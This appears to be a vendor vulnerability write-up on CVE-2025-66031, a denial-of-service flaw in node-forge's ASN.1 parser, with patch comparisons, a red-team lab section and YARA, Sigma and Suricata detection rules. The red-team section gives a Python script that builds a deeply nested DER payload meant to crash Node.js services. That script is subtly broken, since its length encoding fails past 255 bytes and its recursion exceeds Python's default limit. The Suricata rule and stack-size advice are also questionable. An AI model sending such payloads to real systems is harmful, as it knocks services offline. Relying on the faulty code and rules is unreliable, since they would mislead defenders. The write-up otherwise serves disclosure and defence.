CVE-2025-66031
Executive Summary
CVE-2025-66031 is a high-severity Denial-of-Service (DoS) vulnerability in the node-forge library, a native JavaScript implementation of Transport Layer Security (TLS). The flaw resides in the ASN.1 parsing module, where an Uncontrolled Recursion (CWE-674) allows remote, unauthenticated attackers to craft deeply nested ASN.1 structures. When parsed, these structures trigger unbounded recursive function calls, leading to stack exhaustion and a crash of the Node.js process. The vulnerability affects all versions of node-forge prior to 1.3.2. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the attack vector is trivial to execute once a target is identified.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
node-forge is a widely used npm package for cryptographic operations in Node.js environments. This vulnerability is particularly dangerous in supply chain contexts because:
- Widespread Use: The package is a dependency of many popular libraries (e.g.,
jsonwebtoken,node-jose,web-push). - No Authentication Required: The attack is unauthenticated and can be triggered by any network request that passes untrusted DER data to the library.
- Low Detection: Stack exhaustion crashes may be misattributed to other causes, delaying incident response.
- Patching Urgency: All downstream consumers must update to version 1.3.2 or later to eliminate the risk.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | The vulnerability is exploitable remotely over the network. |
| Attack Complexity (AC) | Low | No special conditions or race conditions required. |
| Privileges Required (PR) | None | No authentication needed. |
| User Interaction (UI) | None | No user action required. |
| Scope (S) | Unchanged | The vulnerable component is the only one affected. |
| Confidentiality (C) | None | No data exposure. |
| Integrity (I) | None | No data modification. |
| Availability (A) | High | Complete denial of service via process crash. |
Threat Level: High. The attack is simple, requires no authentication, and can be executed with a single crafted network packet.
Deep Dive & Mechanics
The vulnerability exists in the ASN.1 parsing logic of node-forge. ASN.1 (Abstract Syntax Notation One) is a standard used to describe data structures, and DER (Distinguished Encoding Rules) is its binary encoding. The forge.asn1.fromDer() function recursively parses nested structures. In vulnerable versions, there is no depth limit on recursion. An attacker can craft a DER-encoded payload with extremely deep nesting (e.g., thousands of nested SEQUENCE tags). When parsed, each level of nesting adds a new stack frame. Eventually, the call stack overflows, causing the Node.js process to crash with a RangeError: Maximum call stack size exceeded.
Technical Flow:
- Attacker sends a network request containing a malicious DER blob.
- The application calls
forge.asn1.fromDer()on the blob. - The parser enters a recursive function for each nested ASN.1 tag.
- Recursion depth exceeds the JavaScript engine's stack limit.
- Process crashes, resulting in DoS.
Root Cause: Lack of a recursion depth check in the _readTag or equivalent internal function.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.3.2):
// Simplified representation of the recursive parsing
function parseTag(derBuffer, offset) {
var tag = derBuffer.getByte(offset);
var length = parseLength(derBuffer, offset + 1);
// Recursively parse nested tags without depth limit
var children = [];
if (isConstructed(tag)) {
var innerOffset = offset + 2 + lengthBytes;
while (innerOffset < offset + 2 + lengthBytes + length) {
var child = parseTag(derBuffer, innerOffset);
children.push(child);
innerOffset += child.totalLength;
}
}
return { tag: tag, children: children };
}
Patched Code (version 1.3.2):
// Patched version with depth limit
function parseTag(derBuffer, offset, depth) {
if (depth > MAX_DEPTH) {
throw new Error('ASN.1 parsing depth exceeded');
}
var tag = derBuffer.getByte(offset);
var length = parseLength(derBuffer, offset + 1);
var children = [];
if (isConstructed(tag)) {
var innerOffset = offset + 2 + lengthBytes;
while (innerOffset < offset + 2 + lengthBytes + length) {
var child = parseTag(derBuffer, innerOffset, depth + 1);
children.push(child);
innerOffset += child.totalLength;
}
}
return { tag: tag, children: children };
}
The patch introduces a depth parameter and a MAX_DEPTH constant (e.g., 100). If the recursion exceeds this limit, an exception is thrown, preventing stack exhaustion.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Objective: Crash a Node.js application using node-forge by sending a deeply nested DER payload.
Lab Setup:
- Target: A Node.js server using
node-forgeto parse DER certificates (e.g., an HTTPS server or a certificate validation endpoint). - Attacker Machine: Any system with Python or Node.js to generate the payload.
Exploit Code:
# generate_deep_der.py
import struct
def build_deep_der(depth):
# ASN.1 SEQUENCE tag (0x30) with indefinite length (0x80 0x00)
# For simplicity, use definite length encoding
# Each level: SEQUENCE { inner }
if depth == 0:
return b'\x05\x00' # NULL tag (0x05, length 0)
inner = build_deep_der(depth - 1)
# SEQUENCE tag (0x30), length of inner
length = len(inner)
if length < 128:
header = b'\x30' + bytes([length])
else:
# Long form length (not needed for small depths)
header = b'\x30' + bytes([0x81, length])
return header + inner
# Generate payload with 10000 nested SEQUENCEs
payload = build_deep_der(10000)
with open('malicious.der', 'wb') as f:
f.write(payload)
print(f"Generated payload of {len(payload)} bytes")
Execution:
- Run the Python script to generate
malicious.der. - Send the payload to the target application (e.g., via HTTP POST to an endpoint that parses DER).
- Observe the target process crash.
Expected Outcome: The Node.js process exits with a stack overflow error.
Blue Team (Defense & Detection)
Defensive Measures:
- Immediate Patching: Update
node-forgeto version 1.3.2 or later. - Input Validation: Reject excessively large or deeply nested DER inputs before parsing.
- Resource Limits: Use Node.js
--stack-sizeflag to increase stack size (temporary workaround). - Process Monitoring: Monitor for crashes and restart services automatically (e.g., using PM2 or Kubernetes liveness probes).
Detection:
- Monitor logs for
RangeError: Maximum call stack size exceedederrors. - Use network intrusion detection to flag unusually large or deeply nested ASN.1 payloads.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | DER payload with nesting depth > 1000 | Malicious ASN.1 structure |
| Log | RangeError: Maximum call stack size exceeded |
Stack overflow error in Node.js |
| File | malicious.der (or similar) |
Crafted payload file |
| Process | Node.js process crash | Unexpected termination |
Detection Engineering
YARA Rule
rule CVE_2025_66031_ASN1_DeepNesting {
meta:
description = "Detects deeply nested ASN.1 DER structures indicative of CVE-2025-66031 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66031"
strings:
$seq = { 30 } // ASN.1 SEQUENCE tag
$null = { 05 00 } // NULL tag (common leaf)
condition:
// Check for many SEQUENCE tags in a small payload (indicative of deep nesting)
#seq > 100 and #null > 0 and filesize < 10000
}
Sigma Rule
title: Node-Forge Stack Exhaustion via Deep ASN.1 Parsing
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Node.js process crashes caused by CVE-2025-66031
logsource:
product: nodejs
service: application
detection:
selection:
EventID: 1001 # Application Error (Windows) or similar
Message|contains: 'Maximum call stack size exceeded'
condition: selection
falsepositives:
- Legitimate deep ASN.1 structures (rare)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-66031 - Deep ASN.1 DER Payload"; content:"|30|"; depth:1; byte_test:1,>,100,0; classtype:attempted-dos; sid:1000001; rev:1;)
Note: This rule flags packets where the first byte is 0x30 (SEQUENCE) and the length byte exceeds 100, indicating potential deep nesting. Adjust thresholds based on environment.
Remediation & Mitigation
Immediate Actions:
- Update
node-forge: Runnpm install node-forge@1.3.2or later. - Restart Services: After patching, restart all Node.js processes that use the library.
- Verify Patch: Check that
node-forgeversion is >= 1.3.2 inpackage-lock.json.
Long-Term Mitigations:
- Input Sanitization: Implement a pre-parser that rejects DER inputs with excessive nesting (e.g., > 100 levels).
- Stack Monitoring: Use Node.js
--stack-sizeto increase stack limit as a temporary buffer. - Process Isolation: Run Node.js in containers with resource limits (e.g., Docker
--memoryand--pids-limit). - WAF Rules: Deploy Web Application Firewall rules to block payloads with suspicious ASN.1 patterns.
Vendor Communication: No further action required as the vendor has released a patch.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst